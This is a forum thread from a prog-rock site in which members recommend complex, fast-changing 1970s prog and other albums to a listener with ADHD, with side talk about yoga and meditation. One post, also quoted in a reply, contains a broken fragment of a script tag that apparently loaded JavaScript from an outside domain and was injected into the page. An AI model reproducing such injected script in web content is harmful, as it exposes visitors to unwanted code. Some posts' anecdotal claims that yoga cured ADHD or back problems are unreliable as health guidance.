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Topic: Fast-paced and constantly changing prog for ADHD?Posted By: ClosetothSupperBrick
Subject: Fast-paced and constantly changing prog for ADHD?
Date Posted: June 20 2019 at 13:48
I haven't posted in a while here? I have ADHD so sometimes I drift off into another world when listening to music because I'm bored (this is the undesired drifting off, unlike the very mentally into the song kind of drifting). So prog naturally suits my need for divergent and unique melodies/instruments etc. but sometimes even prog doesn't get the job done! I am requesting some music that will keep me on my toes, has lots of different tempos, themes, vocal sections (no instrumentals please) and dynamics, and enough contrast between eclecticness and beauty. I am a big 70s decade fan, so that time period is more likely to be interesting to me; as well as my appreciation for all languages of vocals and any length of song to clarify the broad scope of this request, I believe you will find great stuff for an unfocused mind like my own!
Replies: Posted By: Foxprog
Date Posted: June 20 2019 at 14:13
- Tarkus, Emerson, Lake and Palmer. 70's prog epic, I think this will be perfect for you :)
Posted By: Icarium
Date Posted: June 20 2019 at 14:19
Perhaps Gojira or Meshuggah is your thing or Dillinger Escape Plan
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Posted By: mathman0806
Date Posted: June 20 2019 at 15:38
I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">
My recommendation from the 70s is Balletto di Bronzo's Ys.
I also like listening to Tool while wearing headphones.
Posted By: BaldJean
Date Posted: June 20 2019 at 15:42
mathman0806 wrote:
I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense.
My recommendation from the 70s is Balletto di Bronzo's Ys.
I also like listening to Tool while wearing headphones.
for being kept busy music you can dance to would be best
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Posted By: Foxprog
Date Posted: June 20 2019 at 15:44
mathman0806 wrote:
I have ADHD and am listening to Tarkus right now. At times, I prefer instrumental music with time changes and discordant sounds, but I don't necessarily listen to be engaged---more to be kept "busy" if that makes sense. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">
My recommendation from the 70s is Balletto di Bronzo's Ys.
I also like listening to Tool while wearing headphones.
Ys is a great album! Especially the opener Introduzione gives shivers to my back.
Posted By: AFlowerKingCrimson
Date Posted: June 20 2019 at 15:49
I have adhd also and always wondered why I was so into prog considering that it can be challenging and complex music.
A few I never got bored with:
Yes- Fragile, The Yes album, relayer, close to the edge
King Crimson- In the wake of poseidon, larks tongues in aspic
ELP- Tarkus (already mentioned but the title track in particular always changes) same(self titled debut also)
Gentle Giant - Octopus
Camel- mirage, snowgoose
Focus- the track eruption from Focus 2(moving waves) Some slower more mellow tracks on that album too.
Genesis- lamb lies down on broadway, selling england by the pound, a trick of the tail
Rush- Hemispheres, caress of steel, permanent waves
Makkiwhipdies -His name is NNNNNNNN (if you can find it online). the 20 minute track is perfect for those with adhd always shifting and changing. A bit repetitive at times but hey it's long. That's going to happen. The xylophone part or whatever it is is just excellent and appears twice. See the thread called something like best album nobody has heard of where I posted a youtube clip of it.
Posted By: BaldFriede
Date Posted: June 20 2019 at 15:56
I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.
Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.
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Posted By: Logan
Date Posted: June 20 2019 at 16:08
From the 70's, one the you might like and haven't yet checked out is Gnidrolog.
Posted By: ClosetothSupperBrick
Date Posted: June 20 2019 at 16:14
Thanks! I have heard of the band name, and have played their famous album once some time ago, but def need to give it another listen! Just their name is interesting, and I'm sure their music is too
Posted By: ClosetothSupperBrick
Date Posted: June 20 2019 at 16:18
Thank you, FoxProg, Icarium, mathman and AFlowerKingCrimson!
Posted By: Saperlipopette!
Date Posted: June 20 2019 at 17:00
these guys are always fast paced, constantly changing and does the trick for me every once in a while
....but I guess it depends
Posted By: TenYearsAfter
Date Posted: June 20 2019 at 17:04
ClosetothSupperBrick wrote:
I haven't posted in a while here? I have ADHD so sometimes I drift off into another world when listening to music because I'm bored (this is the undesired drifting off, unlike the very mentally into the song kind of drifting). So prog naturally suits my need for divergent and unique melodies/instruments etc. but sometimes even prog doesn't get the job done! I am requesting some music that will keep me on my toes, has lots of different tempos, themes, vocal sections (no instrumentals please) and dynamics, and enough contrast between eclecticness and beauty. I am a big 70s decade fan, so that time period is more likely to be interesting to me; as well as my appreciation for all languages of vocals and any length of song to clarify the broad scope of this request, I believe you will find great stuff for an unfocused mind like my own!
Interesting topic, good to see that progheads share here to talk about their different types of ADHD. In the last ten years I have guided people with all those different types of ADHD, I noticed how important listening to music is, and it even gave me the opportunity to make a better contact with them.
Looking at your taste I think that Gentle Giant is a good recommendation, lots of complexity that will keep your attention, and great vocals and vocal harmonies, check out Playing The Fool, great live album. And perhaps the more song oriented albums from Frank Zappa? Other recomendations: Twelfth Night with Fact & Fiction (excellent vocals and lots of variety) and Rush with A Farewell To Kings (strong blend of melodic and more complex prog). Have fun with the music!
Posted By: Lewian
Date Posted: June 20 2019 at 17:51
Not 70s, but...
Give Cardiacs a chance! And Mr. Bungle, maybe Dr. Nerve.
There are a lot of newer bands that put much variation and complexity into short time, Bubblemath comes to mind, but there are many others (I'm not a fan of many of them so others may have better recommendations).
Posted By: AFlowerKingCrimson
Date Posted: June 20 2019 at 18:16
BaldFriede wrote:
I did have the rare combination of Asperger syndrome and ADHD as a kid. My doctor told my parents I should practice yoga, and that helped me to overcome my ADHD. I still practice yoga twice a day.
Yoga also helped against some aspect of my Asperger syndrome, which was bad body coordination. This has drastically improved due to my practice of yoga, and now my body coordination is no longer bad but way above average.
Did you ever try tai chi? That's supposed to be very good at helping with balance. I took a tai chi class once. I have taken yoga classes also but find it challenging especially since I have back issues.
Posted By: BaldFriede
Date Posted: June 20 2019 at 18:25
AFlowerKingCrimson wrote:
BaldFriede wrote:
I did have the rare
combination of Asperger syndrome and ADHD as a kid. My doctor told my
parents I should practice yoga, and that helped me to overcome my ADHD. I
still practice yoga twice a day.
Yoga also
helped against some aspect of my Asperger syndrome, which was bad body
coordination. This has drastically improved due to my practice of yoga,
and now my body coordination is no longer bad but way above average.
Did you ever try tai chi? That's supposed to be very
good at helping with balance. I took a tai chi class once. I have taken
yoga classes also but find it challenging especially since I have back
issues.
No, I have not, but yoga really removed my
problems there, and I am extremely well-coordinated now. Jean and I (she
started practicing yoga as a child too; her hippie parents wanted her
to) are also both extremely flexible due to our yoga.
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BaldJean and I; I am the one in blue.
Posted By: BaldJean
Date Posted: June 20 2019 at 20:35
AFlowerKingCrimson wrote:
BaldFriede wrote:
I did have the rare
combination of Asperger syndrome and ADHD as a kid. My doctor told my
parents I should practice yoga, and that helped me to overcome my ADHD. I
still practice yoga twice a day.
Yoga also
helped against some aspect of my Asperger syndrome, which was bad body
coordination. This has drastically improved due to my practice of yoga,
and now my body coordination is no longer bad but way above average.
Did you ever try tai chi? That's supposed to be very
good at helping with balance. I took a tai chi class once. I have taken
yoga classes also but find it challenging especially since I have back
issues.
you should try hatha yoga against your back
issues. Gustav Meyrink, the author of the novel "The Golem", had back
issues for many years. no doctor could help him. then he started
practicing hatha yoga, and his back issues disappeared
Friede and I practice ashtanga yoga, by the way. a physically very demanding form of yoga
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A shot of me as High Priestess of Gaia during our fall festival. Ceterum censeo principiis obsta
Posted By: Kempokid
Date Posted: June 20 2019 at 20:45
I'd say that Cardiacs embodies what you're looking for, especially their album Sing To God
Devin Townsend's Deconstruction is another great choice for something that's absolutely insane
Sigh's Imaginary Sonicscape is an album full of a wide range of styles, although it more falls in line with metal
The Mars Volta are my personal choice for absolute favourite band, but even ignoring these biases, their first 4 albums are all incredibly energetic and frequently changing. For your purposes, I'd probably say that Amputechture or Bedlam In Goliath would be most fitting, but their first 2 albums would also fulfill the criteria given
More 70s oriented choices would be Van Der Graaf Generator's Pawn Hearts and Godbluff, both of which match the description of balancing beauty and eclecticness perfectly.
Posted By: AFlowerKingCrimson
Date Posted: June 20 2019 at 21:31
Thanks BaldJean and BaldFriede. I'll look into hatha yoga. I have heard of those and also Vinyasa. I actually lived next door to a Yoga studio for a few years but only went three times(once was a deep breathing session). The woman who ran it was a bit of a phoney. I didn't really care for her.
What does this have to do with prog? I have no idea. Probably nothing. Lol. Not sure you could do prog to Yoga.
Posted By: siLLy puPPy
Date Posted: June 20 2019 at 21:48
Posted By: AFlowerKingCrimson
Date Posted: June 20 2019 at 22:41
Although I'm not sure they always qualify as fast paced and always changing I do think that Magma is a good band to listen to. Their music can be very repetitive so it's easy to listen to but also very intense at times. Definitely give them a try.
Posted By: richardh
Date Posted: June 20 2019 at 23:28
The Tea Club - Quickly Quickly Quickly
Dream The Electric Sleep - Heretics
both very dynamic albums with constantly shifting tempo
Posted By: BaldJean
Date Posted: June 21 2019 at 02:25
AFlowerKingCrimson wrote:
Thanks BaldJean and BaldFriede. I'll look into
hatha yoga. I have heard of those and also Vinyasa. I actually lived
next door to a Yoga studio for a few years but only went three
times(once was a deep breathing session). The woman who ran it was a bit
of a phoney. I didn't really care for her.
What does this have to do with prog? I have no idea. Probably nothing. Lol. Not sure you could do prog to Yoga.
but you could listen to prog while doing yoga, especially ashtanga yoga. it is a very dynamic kind of yoga. but we prefer to practice it without music
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A shot of me as High Priestess of Gaia during our fall festival. Ceterum censeo principiis obsta
Posted By: verslibre
Date Posted: June 21 2019 at 14:08
Posted By: AFlowerKingCrimson
Date Posted: June 21 2019 at 15:25
BaldJean wrote:
AFlowerKingCrimson wrote:
Thanks BaldJean and BaldFriede. I'll look into
hatha yoga. I have heard of those and also Vinyasa. I actually lived
next door to a Yoga studio for a few years but only went three
times(once was a deep breathing session). The woman who ran it was a bit
of a phoney. I didn't really care for her.
What does this have to do with prog? I have no idea. Probably nothing. Lol. Not sure you could do prog to Yoga.
but you could listen to prog while doing yoga, especially ashtanga yoga. it is a very dynamic kind of yoga. but we prefer to practice it without music
It's good to take a break from music sometimes. You can meditate with music on too(especially droning ambient stuff)but I prefer to do that without music too.
Posted By: Tapfret
Date Posted: June 21 2019 at 15:54
Posted By: mathman0806
Date Posted: June 21 2019 at 18:22
And of all things, today was international yoga day.
Posted By: siLLy puPPy
Date Posted: June 21 2019 at 18:54
Tapfret wrote:
How do you stay in one decade with ADHD?
Great point, Hypnotoad! I totally agree. I'm pretty much the same. I listen to 20s Dixieland jazz one minute, brutal tech death the next and then 80s synthpop and pretty much every other genre under the sun. Make your own playlist. Nobody will ever satisfy your needs except you. However there are some GREAT suggestions here. I love 90% of those presented and a few i'm not familiar with.
Posted By: BaldJean
Date Posted: June 21 2019 at 21:44
AFlowerKingCrimson wrote:
Although I'm not sure they always qualify as
fast paced and always changing I do think that Magma is a good band to
listen to. Their music can be very repetitive so it's easy to listen to
but also very intense at times. Definitely give them a try.
well,
Magma may not always be fast, but when they go really fast they are
probably the fastest band in the world. just watch this live version of
"De Futura" featuring 2 bass players! around the 12 minute mark they
start to accelerate and just get faster and faster and faster, and just
when you think "they can't get any faster than this" they still
accelerate:
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A shot of me as High Priestess of Gaia during our fall festival. Ceterum censeo principiis obsta
Posted By: moshkito
Date Posted: June 22 2019 at 10:08
Foxprog wrote:
- Tarkus, Emerson, Lake and Palmer. 70's prog epic, I think this will be perfect for you :)
Hi,
And .... right after it, play Rachel Flowers PIANO version of TARKUS, so you can appreciate one of the greatest pieces of music EVER written for "progressive" whatever .... forget "rock" or any other word ... just listen to one of the great composer's work in the hands of someone that understands music, and is not ... JUST ... a fan!
------------- Music is not just for listening ... it is for LIVING ... you got to feel it to know what's it about! Not being told! www.pedrosena.com
Posted By: moshkito
Date Posted: June 22 2019 at 10:19
AFlowerKingCrimson wrote:
...
It's good to take a break from music sometimes. You can meditate with music on too(especially droning ambient stuff)but I prefer to do that without music too.
Some things are beyond "music" and just because they are recorded does not mean that they can not be used for good, solid meditation work, although (in general), meditation means a HECK OF A LOT MORE, than just 5 minutes ... and for it to be "effective" it would likely take 1 hour (at least) to solidify any results ... and of course, the folks at progressive something or other, would not make it, since the majority of them can't make it past 5 minutes!
Some examples, of material that is "beyond" the time limiting rock/progressive music:
Frank Perry - Deep Peace
Frank Perry - New Atlantis
Paul Horn - Inside (and even Inside 2)
Wolff and Hemmings - Tibetan Bells
Mind you that most folks can not make it through Frank Perry's album at all without stopping, as it is a very deep and intense piece of .... music! And here, I think that it might even blur the definition of what "music" is!
We do not, as a general rule teach people about spiritual music and material, that is beyond words. We think that if it does not have words it isn't possible to be spiritual since it does not tell us anything and we do not know how to feel beyond the notes.
Thus, the main problem with a social design and understanding of music, will continuously not be able to listen to a lot of music that is designed to be a different listening experience, and in this case, one that most Western listeners can not appreciate, or even give it a serious shot!
------------- Music is not just for listening ... it is for LIVING ... you got to feel it to know what's it about! Not being told! www.pedrosena.com
Posted By: AFlowerKingCrimson
Date Posted: June 22 2019 at 12:53
^ I agree with Wolf and Hemmings and Paul Horn(I have his inside the great pyramid which I used to use to fall asleep to). There's also the deep listening band(which included the late Pauline Oliveros).
I'm not familiar with Frank Perry. I'll have to check him out. I suppose a lot of ambient and progressive electronic musicians would qualify.
Anyway, all of this stuff is pretty much the exact opposite of what the OP was looking for. That said meditation with possibly meditation music playing as well as the right kind of diet and exercise can go a long way to helping those with adhd.
Posted By: iluvmarillion
Date Posted: June 24 2019 at 00:38
Kempokid wrote:
I'd say that Cardiacs embodies what you're looking for, especially their album Sing To God
Devin Townsend's Deconstruction is another great choice for something that's absolutely insane
Sigh's Imaginary Sonicscape is an album full of a wide range of styles, although it more falls in line with metal
The Mars Volta are my personal choice for absolute favourite band, but even ignoring these biases, their first 4 albums are all incredibly energetic and frequently changing. For your purposes, I'd probably say that Amputechture or Bedlam In Goliath would be most fitting, but their first 2 albums would also fulfill the criteria given
More 70s oriented choices would be Van Der Graaf Generator's Pawn Hearts and Godbluff, both of which match the description of balancing beauty and eclecticness perfectly.
I was advised to give away Tai Chi by my doctor because of back issues. I suppose you would have the same issues with yoga wouldn't you?
Posted By: Frenetic Zetetic
Date Posted: June 24 2019 at 03:39
In regards to classic era (1970-1977) prog:
Gentle Giant
Van Der Graaf Generator
In regards to extreme prog/metal:
Death
Gorguts
Nocturnus
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"I am so prog, I listen to concept albums on shuffle." -KMac2021
Posted By: profdorly
Date Posted: January 10 2023 at 14:13
Hey! I have high-functioning autism and not-so-functioning ADHD. I listen prog music since I was a child and always helped me to focus and be more motivated in to do boring tasks.
Nowadays when I need to complement and boost my motivation and focus with music, I use fusion jazz. Especially a band called Snarky Puppy. If you don't know this band, I kindly suggest this entire album called We Like it Here: https://www.youtube.com/watch?v=z4IrNFUaEg0
But if you need something more fast-pace, I recommend Animals as Leaders. Any song. :)
Posted By: Atavachron
Date Posted: January 10 2023 at 16:41
Tall order, maybe some early Italian or Euro-Symph ? My other thought was modern avant-garde like Sleepytime Gorilla Museum.
Hope you find something that works for you -
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Posted By: Awesoreno
Date Posted: January 11 2023 at 02:42
profdorly wrote:
Hey! I have high-functioning autism and not-so-functioning ADHD. I listen prog music since I was a child and always helped me to focus and be more motivated in to do boring tasks.
Nowadays when I need to complement and boost my motivation and focus with music, I use fusion jazz. Especially a band called Snarky Puppy. If you don't know this band, I kindly suggest this entire album called We Like it Here: https://www.youtube.com/watch?v=z4IrNFUaEg0
But if you need something more fast-pace, I recommend Animals as Leaders. Any song. :)
I ADORE Snarky Puppy (I've even played some of their music live, it's been a blast). I really dig their latest album, it might be my favorite of theirs. After Sylva of course, but that's sort of an outlier considering it features an orchestra.
You might also enjoy Max Ox, and another Jacob Mann project: Shrek is Love. Mann has a hilarious YouTube channel where he does tongue-in-cheek "One Minute Jazz Lessons."
You may also enjoy Jaga Jazzist, who sort of set the stage for some of the Snarky sound.
Posted By: Mirakaze
Date Posted: January 11 2023 at 10:33
Some of the more out-there math rock groups deserve a mention; stuff like this: